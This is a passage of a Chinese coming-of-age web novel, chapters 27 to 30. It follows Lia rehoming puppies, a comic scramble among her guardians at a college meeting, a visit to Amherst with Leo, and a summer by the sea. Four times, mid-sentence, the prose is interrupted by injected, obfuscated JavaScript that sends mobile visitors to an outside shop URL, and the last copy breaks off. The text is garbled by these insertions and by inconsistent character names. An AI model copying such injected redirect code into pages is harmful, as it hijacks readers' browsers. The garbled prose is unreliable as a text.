“小狗们怎么样？”利奥一边铲雪，一边问道，目光扫过屋内。 透过窗户，能看到几个毛茸茸的身影正贴在玻璃上，好奇地向外张望。 “能吃能睡，能捣乱。”莉娅嘴角带着一丝自己都未察觉的笑意，“我和奥黛丽说等雪停了就一起去给它们找人家。” 利奥的动作顿了顿，继续铲雪，过了一会儿，才貌似随意地问：“都……送走吗？” 莉娅看着他一铲一铲地将积雪推开，清理出一条小路。她沉默了片刻，然后轻声说：“我大概……没办法同时照顾那么多只。” 她停顿了一下，目光落在利奥专注的侧脸上，“你……想不想留一只？” 利奥铲雪的动作慢了下来，他没有立刻回答，而是继续将面前最后一点雪铲干净，然后才把铲子插在雪堆里，直起身，拍了拍手套上的雪屑。 他转过头，看向莉娅。 “我……”他张了张嘴，似乎想说什么，但最终只是含糊地咕哝了一句，“我再想想。” 他没有拒绝，也没有答应，但这个回答本身就已经包含了很多信息。 他们都明白，收养一只狗不仅仅是一时兴起。 莉娅点了点头，不再追问。 “雪铲得差不多了，进来喝杯热可可吧？”她邀请道。 利奥摇了摇头，指了指仓库的方向：“不了，我还有点东西要弄。” 他指了指被清理干净的小路，“这样你出入方便些。” 他转身离开，身影在雪地里渐行渐远。 莉娅站在门口，看着那条被他清理出来的、通向外界的小路，又回头看了看屋里那些贴在窗上的、充满依赖的小脑袋。 阳光照在雪地上，反射出细碎的光芒，寒冷中透着一丝希望。 * 天气放晴后，积雪开始缓慢融化，屋檐下挂起了晶莹的冰棱。 莉娅和奥黛丽决定趁道路尚可通行，尽快为小狗们寻找归宿。湖面已经结了厚厚一层冰，不能再划船了。她们只好穿上最保暖的靴子，裹得严严实实，抱着装有小狗的篮子，绕远路从陆路走向镇中心。 奥黛丽一路叽叽喳喳，像只快乐的雪地麻雀，分析着哪家可能喜欢狗，哪家已经养了宠物可能不再需要。 莉娅则安静些，听着好友的计划。 她们先去了镇口的安娜阿姨家，安娜阿姨独自经营着一间小小的杂货铺，兼卖一些自己编织的手套袜子和腌制的果酱。 店铺里温暖而拥挤，弥漫着肉桂、咖啡和旧木头的混合气味。安娜阿姨看到篮子里的毛团，眼睛立刻亮了起来，她放下手中正在编织的毛线，惊喜地“哎哟”一声，接过奥黛丽递过去的那只最温顺的、有着棕色眉毛的小狗。 “这是谁家的小可爱呀？”安娜阿姨用她温柔嗓音说道，手指轻轻搔着小狗的下巴。 小狗舒服地眯起眼睛，往她怀里钻。 “正好给我做个伴，晚上看店也不那么冷清了。”安娜阿姨笑眯眯地决定收养它，没有丝毫犹豫。 离开杂货铺，她们抱着剩下的三只小狗，走向那家总是人声鼎沸的“鲈鱼喉酒馆”。 即使是下午，酒馆里也聚集了不少人。一推开门，一股混合着啤酒、炖肉、烟草和湿羊毛的热浪便扑面而来，与外面的清冷形成鲜明对比。墙壁上还挂着些褪色的圣诞花环和彩带，为这充满男性气息的空间增添了一抹节日的余温。 人们围着木桌喝酒、打牌、闲聊，声音嘈杂却有一种热闹的生气。 吧台后面，身材丰满、系着围裙的酒馆老板希卡正麻利地擦着玻璃杯，看到莉娅和奥黛丽进来，脸上立刻露出爽朗的笑容。 “嘿，看看是谁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16807076|190583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来了。两个漂亮姑娘，还带着这么可爱的小家伙。”莉齐的大嗓门压过了店里的嘈杂。 莉娅和奥黛丽脱掉了厚重的围巾和大衣，脸颊被屋内的热气熏得红扑扑的。奥黛丽快言快语地说明了来意，希卡看着篮子里剩下的两只小狗，一只活泼好动，一只略显害羞，眼里闪着光。 “哦，我的天，这可真是甜蜜的烦恼。”她搓了搓手，显然很是心动。 乔，也就是酒馆的厨师，也从厨房探出头来，他是个沉默寡言的大块头，看到小狗，脸上也难得地露出了柔和的表情。 最终他们选择了那只更活泼的，说可以养在酒馆后院，给生活添点乐子，也能防防偶尔溜达过来的小动物。 之后她们又去了别的地方，最后一只小狗，也是最瘦小、最安静的一只，被莉娅留了下来。 她心里已经有了打算。 办完了小狗的“终身大事”，奥黛丽被酒馆里熟人叫去说话。 莉娅则走到吧台边，莉齐给她倒了一杯热乎乎的苹果西打。 “莉齐，”莉娅捧着温暖的杯子，斟酌着开口，“有件事……想请你帮忙。” “说吧，亲爱的，只要我能办到。”莉齐一边忙活一边爽快地说。 莉娅深吸一口气：“学校很快要开大学申请的座谈会了，需要家长或者监护人出席，我……” 她顿了顿，没有说下去，但莉齐立刻明白了。 在这个小镇上，莉娅的情况几乎人尽皆知。 莉齐喝酒动作停了下来，她看着莉娅，伸出温暖的手用力地拍了拍莉娅的肩膀，声音斩钉截铁，没有一丝犹豫：“当然没问题，包在我身上。哪天？告诉我时间，我准时到，保证不给伱丢脸。” 她甚至挺了挺胸脯，仿佛要去完成一项光荣的任务：“你这孩子，这么重要的事情，早该跟我说。” 莉娅看着莉齐因为激动而泛红的脸庞，看着她眼中真诚的关怀，喉咙有些发紧，只能轻轻地说：“谢谢你，莉齐。” “谢什么谢。”莉齐大手一挥。 离开酒馆时，天色已近黄昏，夕阳给白雪覆盖的小镇镀上了一层淡淡的金色，莉娅和奥黛丽抱着几乎空掉的篮子往回走。 寒风依旧凛冽，橡林镇高中礼堂也冷得出奇。 大学申请座谈会定在一个周三的下午，对于这个大多数青年毕业后便直接进入矿场、伐木场或继承家业的小镇来说，这类活动通常显得有些冷清。 莉娅提前了一会儿到，她习惯性地选择一个靠后、不引人注目的位置。然而她刚放下自己的笔记本，一阵熟悉的、带着烘焙黄油和肉桂粉味道的香风便席卷而来。 是安娜阿姨，她裹着一条色彩鲜艳的东欧风格披肩，脸颊红扑扑的，像是刚从温暖的烤箱旁跑过来。 “哦莉娅，我给你占了好位置，前面看得清楚。” 安娜阿姨不由分说地拉起莉娅的手臂，把她往中间一排座位拽。 那里原本空着的椅子上，已经放了一个显眼的、装着刚出炉姜饼人的纸袋。 典型的安娜式占座法。 28. chapter 28 莉娅刚想坐下，另一个响亮的声音插了进来：“嘿等等，这位置可是我老早就瞄上的。” 莉齐穿着一身难得正式的连衣裙，大步流星地走过来，手里还拿着一个看起来像是记录用的本子和笔，架势十足。 “莉娅来来，坐这儿，我给你带了专门记笔记的本子。” “是我先到的，莉齐。” 安娜阿姨立刻用带着浓重口音的英语抗议，下意识地拽紧了莉娅的胳膊。 “先到？你的姜饼人可没长眼睛盯着座位。”莉齐毫不示弱，双手叉腰。 两个女人正争执不下，一个声音切了进来：“根据学校安排，每位学生的监护人席位是固定的。莉娅·罗斯的席位在这里，第三排左二。” 是吉姆医生。 她穿着大衣，戴着金丝边眼镜。 “吉姆医生？你怎么也……”莉娅有些愕然。 “青少年的升学选择关乎未来发展，作为社区医生我有责任。” 吉姆医生推了推眼镜。 于是，滑稽的一幕出现了。在属于莉娅的那个座位旁边，莉齐、安娜和吉姆医生三人形成了一种微妙的僵持。 莉齐试图用她的亲和力占据道德高地：“我可是莉娅正式邀请的。” 安娜则开始情急之下夹杂着谁也听不懂的斯拉夫语方言嘟囔，大概是在抱怨“不讲道理的高个子女人”和“冷冰冰的医生”，而吉姆医生则用毒舌“精准打击”。 最后还是主持会议的校长先生出面，带着哭笑不得的表情，在莉娅的座位旁边又临时加了两把椅子，才解决了这场“监护人席位争夺战”。 于是，在整个座谈会期间，莉娅被三位风格迥异的“家长”团团围住。莉齐时不时发出“哦！”、“原来如此！”的惊叹，并认真地记录，虽然可能写错别字 安娜则不停地从那个巨大手提袋里掏出姜饼、小蛋糕塞给莉娅和旁边的莉齐，甚至试图递给吉姆医生，被一个眼神制止。 这场面与其说是大学申请指导，不如更像是一场由莉娅为中心、三位小镇女性倾情出演的、热闹非凡的家庭喜剧。 其他零星来参加的学生和家长都忍不住好奇地看向这边，莉娅起初有些窘迫，但渐渐地一种从未有过的温暖感取代了尴尬。 她有一支临时的、却无比坚定的“后援团”。 座谈会后，莉娅的班主任私下找到了她。 邓肯先生眼睛里闪着光，语气充满肯定：“莉娅，你的成绩和那份沉静思考的能力非常出色。不要只把眼光局限在州内的普通学院。你可以尝试申请更好、更远的学校，比如东部的女子文理学院，或者中西部的那些重视本科教育的大学。你有潜力走得更远，去真正适合你的地方深造。” 这番话让陪同的莉齐和安娜激动不已。 莉齐用力拍着莉娅的肩膀，嗓门洪亮：“听听，老师都这么说。读，肯定要读下去，能读多久就读多久，钱的事情总有办法。” 安娜则眼眶湿润，用围裙角擦着眼睛，喃喃道：“好孩子，真好……要去大城市，见世面……” 当天晚上，莉娅的小屋里再次迎来了客人。 邓肯老师、莉齐、安娜，甚至吉姆医生也到场了。 莉娅用自己烤的简单饼干和热茶招待大家，邓肯老师详细地跟莉娅讲解了申请流程，并特别提到了联邦学费援助和助学贷款的可能性。 “虽然过程复杂些，但对你的情况很有帮助。”他压低声音说，“别担心，表格我可以帮你一起看。” 送走了这群满怀善意和期待的大人，小屋骤然安静下来。炉火噼啪作响，那只留下来的、最安静的小狗蜷在毯子里睡得正香。 莉娅没有开灯，独自窝在沙发里，膝盖上摊着邓肯老师留下的、印着各种大学简介和申请表格的厚重资料。纸张在炉火的映照下泛着微光，上面的字迹却像蚂蚁一样爬进她的心里，带来一种沉甸甸的、令人不知所措的茫然。 走出去？去那些听起来遥远而陌生的大城市？用厚厚的贷款去换取一个不确定的未来？ 她从未离开过橡林镇，最远只到过邻镇赶集。外面的世界像一幅巨大而模糊的地图，而她连自己所在的方位都尚未认清。 几天后，那只小狗被她半推半就地送去了米勒家。 利奥带着那只被他取名“扳手”的小狗散步，“扳手”对莉娅家熟门熟路，一个劲地要往门口冲。 利奥只好跟着过来，莉娅开门招待了他们。 利奥一眼就看到了桌上摊开的、填写了一半的申请表和散落的大学简介。莉娅正对着它们出神，手指无意识地绕着茶杯边缘画圈。 “扳手”兴奋地和毛线滚作一团。 利奥没有打扰，只是安静地坐在一旁。过了好一会儿，他才开口，声音平静：“在犹豫什么？” 莉娅抬起头：“我没想好。” 她顿了顿，像是需要倾诉，“图书馆的奥尔森奶奶，前几天整理书架闪了腰，她问我……毕业后愿不愿意去帮忙。” 她看向窗外被冰雪覆盖的、熟悉的小镇轮廓，声音轻了下来：“接手图书馆的工作，每天和书本打交道，安安静静的没有那么多要焦虑的事情。应该会是一个我喜欢的工作，对吧？” 她的语气里带着寻求确认的意味，更像是在说服自己。 “我……是不是应该就留在小镇比较好？” 利奥沉默地听着，没有像其他人那样立刻鼓励她“走出去”。 他只是看着炉火映照下她侧脸上不确定的阴影，看着桌上那些代表遥远未知世界的纸张。 他没有给出答案。 又过了几天，一个晴朗但寒冷的早晨。 利奥敲开了莉娅的门，他背着一个旧帆布包。 “准备好东西，”他说，“穿暖和点。” “做什么？”莉娅疑惑地问。 “保密。”利奥的嘴角似乎极轻微地向上弯了一下，随即又恢复原状，“快点。” 莉娅虽然满腹疑问，但还是依言穿上了最厚的外套，围上了围巾。利奥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16812892|190583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帮她检查了一下炉火，确保“扳手”有足够的食物和水，然后带着她走出了门。 镇口的公路边，停着一辆略显老旧的皮卡。驾驶座上的是果铺店的老板弗兰克，一个满脸络腮胡、性格开朗的中年男人。 他看到利奥和莉娅，咧嘴笑了起来，露出被烟草熏得微黄的牙齿。 “哟，我们的优等生和沉默小子来了。”弗兰克大声打着招呼，一边利索地帮他们把背包扔进后车厢，“上车吧，里面暖和。这鬼天气，要不是得去州府进批货，我才不想动窝。” 利奥拉开副驾驶的门，示意莉娅先上去，自己则坐在了中间。车内弥漫着汽油、烟草和咖啡混合的味道，并不难闻，反而有种踏实的感觉。 “谢谢您，弗兰克先生。”莉娅礼貌地说。 “谢什么，顺路的事儿。”弗兰克发动汽车，皮卡发出沉闷的轰鸣，驶上了覆着残雪的公路上。 “利奥这小子，前几天神秘兮兮地来找我，问能不能搭个便车。我说当然行啊，不过你们俩这是要去哪儿溜达？总不能是跟我去批发市场吧？” 他促狭地眨眨眼，目光在利奥和莉娅之间扫来扫去。 利奥没说话，只是看着前方。 莉娅也不知该如何回答。 弗兰克自顾自地笑了起来：“哈哈，年轻人嘛，有点小秘密好。放心我不多问，我大概下午四点左右办完事，会在‘州立联合银行’那边等你们。要是你们正好那个时候回来，就能搭我的车回家。要是错过了……”他耸耸肩，“就得自己想辙咯，不过我相信利奥有办法。” 汽车驶出了橡林镇的地界。 莉娅这是第一次真正离开小镇，窗外的风景从熟悉的森林、湖泊，逐渐变成了更开阔的、覆盖着白雪的田野和远处起伏的山峦。电线杆一根根向后掠过，偶尔能看到其他小镇的模糊轮廓。 一种陌生的、略带忐忑的感觉在她心中升起。 利奥依旧沉默，但莉娅能感觉到他并非冷漠。他会偶尔指给她看窗外掠过的一群飞鸟，或是一栋形状奇特的旧谷仓。 弗兰克则一路开着收音机，跟着里面的乡村音乐哼唱，或者讲一些他走南闯北遇到的趣事，车厢里的气氛轻松而友好。 开了将近四个小时，周围的景物开始变得不同。 房屋更密集，道路更宽阔，出现了更多的车辆和红绿灯，最后皮卡在一个看起来宁静而庄严的城镇边缘停了下来。 弗兰克指着一个有着高大铁艺大门和宽阔草地的方向：“喏，就是那儿了。你们去吧，记得四点。” 利奥道了谢，拉着还有些懵懂的莉娅下了车。冷空气扑面而来，带着城市特有的、混合的味道。 他们走向那座大门，门口的石头上刻着字：阿默斯特学院。 莉娅的心一跳。 这是邓肯老师极力推荐的一所文理学院，以学术严谨和美丽的校园闻名。 她难以置信地看向利奥。 利奥的脸上没有什么表情，只是轻声说：“走走看。” 29. chapter 29 他们走进校园。 尽管是冬天草坪枯黄，树木凋零，但那些古老的、爬满常春藤的建筑、宁静的路径以及空气中弥漫的那种书卷气息，依然让莉娅感到一种新奇。 路过一栋看起来像是学生活动中心的建筑时，一阵食物温暖的香气飘了出来。 利奥停下脚步，犹豫了一下，对莉娅说：“饿了吗？” 他便带着她走了进去，里面很热闹学生们三五成群地坐着，聊天、看书。 他们在一个小柜台前停下，利奥看了看菜单点了一份据说是校园特色的“农夫午餐”，厚切面包、烤香肠、酸菜和豆子，以及两杯冒着热气的苹果酒。 食物简单却扎实，苹果酒酸甜温热，驱散了身上的寒意。 吃完东西，他们走向图书馆。利奥似乎提前做过一点功课，或者只是凭着直觉，带着莉娅穿过厚重的大门。内部的空间高大深邃，沉静得让人不由自主地放轻呼吸。 成排的橡木书架直抵装饰着浮雕的天花板，阳光透过高大的彩色玻璃窗，投下斑驳的光影。 这里比橡林镇的图书馆大了何止百倍。 莉娅站在其中，轻轻抚过书脊，想象着在这些书海中遨游的情景。 离开图书馆，他们在附近一条林荫道边的长椅上坐下。 尽管天气寒冷，但路上依然有不少学生行色匆匆。 他们的脸上带着一种艾拉在橡林镇同龄人脸上很少见到的神采，一种对知识、对未来的急切渴望和自信。 莉娅静静地看了很久。 利奥就坐在她身边，同样沉默。 在经过校园书店时，利奥再次停下脚步。 他让莉娅在门口等一会儿，自己走了进去。没过多久他拿着一个小纸袋出来，默默地递给莉娅。 莉娅疑惑地打开，里面是一个用柔软绒布做成的、小小的猫头鹰挂链，猫头鹰戴着一个小小的学士帽，样子憨态可掬。 这是阿默斯特学院的吉祥物。 “这个……”莉娅拿着那个小挂链，指尖感受到绒布的柔软。 “纪念。”利奥说，目光看向别处，耳根似乎有点红。 莉娅将猫头鹰挂链紧紧攥在手心。 回去的路上，他们很幸运地赶上了弗兰克的皮卡。 弗兰克看着沉默不语的莉娅和一如既往沉默的利奥，笑着问：“怎么样优等生，大学城的气派不错吧？还买了纪念品？” 莉娅望着窗外飞速后退的、逐渐变回田野和森林的风景，轻轻点了点头。 皮卡行驶了一阵，利奥打破了沉默，声音不高。 他没有看莉娅，而是指着窗外的道路和标志物。 “看那个蓝色的路牌，上面写着‘37号州道’。”他说道，“弗兰克先生今天走的就是这条主路，一直往北，差不多四个小时就能到州府附近，阿默斯特学院就在那片区域。” 莉娅怔了一下，顺着他的手指望去，将那个蓝色的路牌和上面的数字刻进脑子里。 利奥继续说着：“如果……如果你以后自己来，可以从橡林镇坐老亨特的邮政车到十字路口镇，就是每周二、四他去送信的那个点。然后在十字路口镇的路边，等路过的大巴。你上去告诉司机你要去州立大学城，车票大概……” 他顿了顿，似乎在心算，“……车子会沿着这条37号公路开，中间会停几个站，别下错车。看到刚才我们经过的那个有大谷仓和红色加油站的路口，就差不多该准备了。” 他的描述极其细致，甚至包括了等车时最好站在哪个屋檐下避风，大巴车通常几点经过十字路口镇，以及如果错过了大巴，是否可以尝试询问哪些看起来友善的、前往州府方向的货车司机捎一段。 当然他强调，这得格外小心，最好还是等下一班大巴。 弗兰克在驾驶座上听着，嘿嘿笑了两声，插嘴道：“没错，听利奥小子的，这条道他跟我跑过两趟，门儿清。莉娅你放心，这条路安全得很，跑车的多半都认得我们镇上的人。你要是真一个人出来，保准没事儿。” 他又促狭地加了句，“不过嘛，最好还是让这小子陪着，当个保镖兼指路的，哈哈。” 利奥没有理会弗兰克的打趣，他依旧看着窗外，但话是对莉娅说的：“……所以，就算是一个人也能到，不难。” 他说完这句，便不再开口，恢复了惯常的沉默。 他记得她所有的顾虑，从未独自远行，对小镇之外世界的陌生与畏惧。 他是在告诉她：看，这条路是存在的，它是可以走的，甚至我已经替你探过路了。 她拥有走这条路的能力。 他确保她知道，即使没有他陪伴，她也有能力独自抵达那个充满可能性的远方。 一条具体的、可以被脚踏实在走过的路，也第一次清晰地展现在莉娅的面前。 * 决心一旦落下，便像种子入了土悄无声息却坚定地开始生长。 莉娅填好了厚厚一沓申请表，邓肯老师的推荐信写得热情洋溢又实事求是。橡林镇的日常依旧按部就班地流淌，仿佛什么都没有改变，却又处处透着不同。 莉娅和奥黛丽依旧打打闹闹，只是奥黛丽的话里多了些对未来的憧憬和一丝不易察觉的怅惘。 她们并排躺在奥黛丽家林间空地的草地上，看着树叶间漏下的细碎阳光。 “填完表格了？这下你可是真要飞出这个笼子了。” “橡林镇不是笼子。”莉娅轻声反驳。 “对你我来说它就是，等你去了大学，”奥黛丽嘴里叼着一根草茎，含糊不清地说，“这破地方就更没意思了，我可能也要走了。” 莉娅侧过头看她。 奥黛丽坐起身，眼神亮晶晶的，带着她特有的、天不怕地不怕的劲头：“我父亲总念叨他年轻时猎到一头凶兽的事儿，我觉得我这辈子怕是没指望像他那样了。但我想去看看别的地方，听说西边有些大山里面的动物都不一样。或者……去个有海的地方？我还没见过海呢。” 利奥的生活轨迹也似乎没变，他外出的时间多了，主要是为了遛“扳手”。 “扳手”长大了不少，精力旺盛，每天都需要足够的活动。 利奥依旧大部分时间泡在旧仓库里，敲敲打打，没人知道他在具体捣鼓什么，只偶尔能看到他搬出些修复一新的旧物件，或者给家里的东西做些精巧的改良。 他受伤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819482|190583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后就没再骑自行车，而是和莉娅一样坐校车。 每天清晨，他都会在莉娅家附近的校车站等她，沉默地站在那儿。 他的背包里，总是装着他母亲非要他带给莉娅的早餐，有时是夹了火腿和奶酪的三明治，有时是还温热的松饼，用锡纸仔细包好。 “我吃过了。”莉娅每次都会这么说。 “嗯。”利奥每次都是这样应一声，然后还是把东西递给她。 久而久之莉娅知道，这是米勒太太笨拙而持续的关怀。 春天过去，夏天来临的时候，莉娅收到了来自阿默斯特学院的录取通知书，随信还有一份可观的奖学金说明。 消息像长了翅膀一样飞遍小镇，比当年利奥赢得曲棍球联赛还要引人注目。 希卡老板高兴得在酒馆里宣布当晚啤酒半价，安娜阿姨烤了整整三大盘庆祝蛋糕分发给邻居 录取通知书到来的那个下午，莉齐猛地一拍桌子，震得酒杯都晃了晃：“听着姑娘们。我们不能就这么普普通通地度过最后一个假期，得有个仪式。” “什么仪式？”奥黛丽立刻凑上前。 “一场冒险。”莉齐的眼睛闪着光，“我们开车北上，去海边。我表亲在缅因有个空着的小木屋，我们可以在那儿度过一个真正的夏天。” 奥黛丽兴奋地尖叫起来，摇晃着莉娅的胳膊。 莉娅也被这个大胆的计划惊呆了：“可是……路上的花费呢？而且这会不会耽误……” “花费？”莉齐大手一挥，“我们可以打工，刷盘子、摘果子、帮工，什么地方不能挣点路费？至于时间，离你开学还早得很。这趟旅行不为上学，就为我们自己。” 这个提议太有诱惑力了。 莉娅心动了，但她还是保持着一贯的谨慎：“我的钱要留着交学费和以后生活的话，那还有……” 她仔细想想自己的财物。 母亲去世后，米勒太太和安娜阿姨依然坚持每周以母亲的口吻给她寄信，里面总会夹一些钱。莉娅没有乱花，一笔一笔都记在一个小本子上。 加上奖学金、之前卖鱼攒下的钱，还有邓肯老师帮她申请的助学贷款第一批款项，她算了一下，足够支撑她第一年的学习和这次旅行了。 “谁要动你的奖学金了？”莉齐打断她，语气坚决，“那是你的根基一分都不能乱花，这次旅行的每一分钱，我们靠自己挣。” 奥黛丽搂住莉娅的脖子：“就这么说定了，这是我们仨的冒险。” 这个夏天，她们开着莉齐那辆叮当作响的老爷车出发了。她们在沿途的汽车旅馆刷过盘子，在喧闹的集市帮人卖过手工艺品，也在开阔的农场摘过浆果。 莉齐像个总指挥，用大嗓门搞定一切。奥黛丽对什么都好奇，很快就能和当地人混熟。莉娅则安静地观察，每天都写着日记、写着写信。 当她们终于闻到咸腥的海风，看到无垠的蓝色时，奥黛丽第一个跳下车，冲向海浪。 “是海，莉娅、莉齐，真的是海。” 莉齐叉着腰，海风吹乱她的头发，她满意地笑着：“怎么样，没骗你们吧。” 莉娅深吸一口气，看着奥黛丽在浪花里蹦跳。 30. chapter 30 海边的日子，有一种独特的慢节奏。 莉娅在一间叫做“海螺壳”的饮品小屋找到了一份兼职。 小屋就建在沙滩上，墙壁是粗糙的木材，屋顶覆盖着厚厚的海草。 她的工作是售卖冰镇汽水、啤酒、以及一种颜色艳得像假的一样的“海岛特调”，这份工作出乎意料地适合她。 她不需要说太多话，只需安静地站在那里用勺子舀起冰块，听着现金箱叮当作响，以及游客们满足的叹息。 她收到的小费不菲。 那些被太阳晒得晕乎乎的游客，往往愿意多给一些钱换取她一个浅浅的微笑。 莉娅把赚来的皱巴巴的纸币和硬币仔细收好，这是属于这次冒险的财富，与她为未来大学世界所准备的奖学金是截然不同的两种东西。 得空的时候，她们会去赶海。 莉齐不知从哪儿弄来几个小桶和铲子，在潮水退去后裸露出的沙地上寻找蛤蜊的气孔。奥黛丽对此毫无耐心，她更热衷于追逐那些横着跑的沙蟹，或者在礁石缝里寻找被海浪冲上来的、奇形怪状的海玻璃。 而莉娅则喜欢低头漫步，她的收获往往最丰盛，像是月牙形贝壳、有着螺旋纹路的寄居蟹空壳，她的口袋总是沉甸甸的，她甚至是用这些贝壳串了一个一个风铃挂在窗户边。 有一次，她们听说二十英里外的一个海滨游乐场晚上有烟火秀。 莉齐立刻拍板：“去，必须去。” 于是她们挤进那辆仿佛随时会散架的老爷车，在暮色中沿着海岸线飞驰。 车窗大开，咸湿的风灌满车厢，车载收音机刺刺拉拉地播放着老掉牙的乡村音乐，奥黛丽跟着大声哼唱，跑调跑到太平洋去了。莉齐一边开车一边抱怨这破路，嘴角却带着笑。 烟花在夜空中炸开时，奥黛丽兴奋地尖叫，道：“这可比橡林镇那几颗寒酸兮兮的烟花带劲多了。” 莉娅没有说话，她只是静静地看着。 为了这一刻的璀璨，周折的驱车之旅显得无比值得。 之后奥黛丽则彻底迷上了沙滩排球，她很快和当地一群年轻人混熟，成了沙滩球场上的常客。几天下来她裸露的皮肤被晒成了健康的蜜棕色，像涂了一层亮晶晶的焦糖。 莉齐偶尔会坐在场边观看，一边喝着冰啤酒一边点评：“嘿，瞧奥黛丽那丫头，像只刚被放归山林的豹猫。” 莉娅则会从“海螺壳”望过去，看着奥黛丽在沙地上翻滚，心中为她感到高兴。 一天晚上海上下起了淅淅沥沥的小雨，她们窝在木屋里无所事事地翻箱倒柜，试图寻找一些被遗忘的娱乐。 奥黛丽在一个旧衣柜的底层摸到了一个硬硬的纸壳，她兴奋地抽出来，却发现那不是棋盘游戏而是一个略显陈旧的饼干盒。 “说不定里面有古董钱币。”奥黛丽眼睛放光，迫不及待地掀开盒盖。 里面没有钱币，只有一些泛黄的家庭照片、几枚磨损的弹珠，还有一张边缘毛糙的厚纸。奥黛丽展开那张纸，上面是用彩色蜡笔绘制的、弯弯绕绕的线条。 线条穿过代表木屋的简单方块，越过代表沙丘的波浪线，绕过几棵歪歪扭扭的棕榈树，最终指向一个用鲜红色大力画出的“X”，旁边还写着两个歪歪扭扭的大字：宝藏。 “宝藏地图。”奥黛丽几乎要跳起来，声音因激动而拔高，“我就知道，这趟旅行注定不平凡。” 莉齐凑过来看了一眼，拿起那张纸，用手指弹了弹：“得了吧，小探险家。要这真是能让我们发家致富的藏宝图，我叔叔现在就不会把这木屋借给我们，而是应该住在迈阿密的豪华海景公寓里，用金勺子吃鱼子酱了。” 莉娅也笑了：“这蜡笔的痕迹……像是小孩子画的。” 好奇心被勾了起来，莉齐干脆地掏出手机，拨通了她叔叔的电话，按了免提。 电话那头传来温和的笑声，证实了莉娅的猜测。 “哦，那个啊。”她叔叔的声音带暖意，“那是我家那对双胞胎小子大概八九岁的时候画的，那段时间他们迷上了海盗故事，整天在沙滩上挖坑。所谓的‘宝藏’无非是他们当时最喜欢的几个塑料小兵人，或者几颗他们认为特别漂亮的石头，还有他们自己写的、给未来自己的信，乱七八糟的塞在一个铁盒子里。他们约定五十年后再一起去挖出来看看，真是孩子气，对吧？” 挂了电话，木屋里有一瞬间的安静。 窗外的雨声细密地敲打着屋顶。 “五十年……”奥黛丽喃喃道，眼中的兴奋并未熄灭，她猛地看向莉齐。 莉齐也正好看向她，两人眼中闪烁着同样的念头。 “我们也埋一个。”她们异口同声地说。 然后不由分说地，把正准备去烧水泡茶的莉娅也拉了过来，按在地板中央坐下。 “现在？埋宝藏？”莉娅有些错愕，但拒绝的话咽了回去。 “对，就现在。”奥黛丽已经兴奋地开始找纸笔，“我们也写一封信，给五十年后的自己。” 之后她们三个各居一方，莉娅被安排坐在唯一一张像样的书桌前，面前铺着奥黛丽贡献出的信纸。 奥黛丽自己则窝进那张褪色的绒布沙发里，用整个身体蜷缩着，手捂着信纸警惕地提防着另外两人偷看。莉齐则维持着躺在地板上的姿势，双手枕在脑后，望着木梁仿佛在向天花板寻求灵感。 “五十年后……”莉齐悠悠地开口，打破了书写前的宁静，“你们会在哪儿？会是什么样子？” 奥黛丽第一个抬起头，眼中是毫无羁绊的向往：“我？我才不会回橡林镇呢。那里太小了装不下我，我要去看世界，去亚马逊雨林听怪鸟尖叫，去撒哈拉沙漠数星星，或者去冰岛看极光。我要把我的名字，刻在所有风经过的地方。” 她说得那么斩钉截铁，仿佛未来已如地图般在她眼前展开。 “好样的，这才是我们的奥黛丽。”莉齐为她欢呼，用手掌拍打着地板表示赞成。 然后她扭头看向莉娅，“嘿写信的，你呢？你觉得五十年后的奥黛丽会是什么样？我打赌她会在某个热带雨林里，驯服了一头美洲豹当宠物。” 莉娅停下笔，抬起头目光落在奥黛丽被晒得黑红的、生机勃勃的脸上。 奥黛丽要去看世界了，而世界那么大，大得足以让最亲密的朋友失散。 奥黛丽似乎感应到了她的情绪，她回望莉娅，眼神异常清澈和认真，语气是罕见的郑重：“哦，亲爱的莉娅，”她说，“别用那种眼神看我，我保证，我发誓，无论我走到哪里，我们是一辈子的朋友。” 莉齐在地板上蹬了蹬腿：“喂喂，还有我呢？我可不想当你们友谊的见证背景板。我呢？我觉得我大概……还是会回到橡林镇吧。我喜欢那里，喜欢酒馆里熟悉的麦芽香气，喜欢知道每条街的名字，喜欢听老家伙们讲那些我听了八百遍的故事。安稳，没什么不好。” 她顿了顿，话锋一转，再次把矛头指向莉娅：“好了，感伤环节结束。现在轮到我们的大学生了，莉娅你觉得五十年后的你会是什么样？快，让我们听听。” 奥黛丽立刻抢过话头，她的思维像她的排球轨迹一样跳跃：“莉娅？她肯定是成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 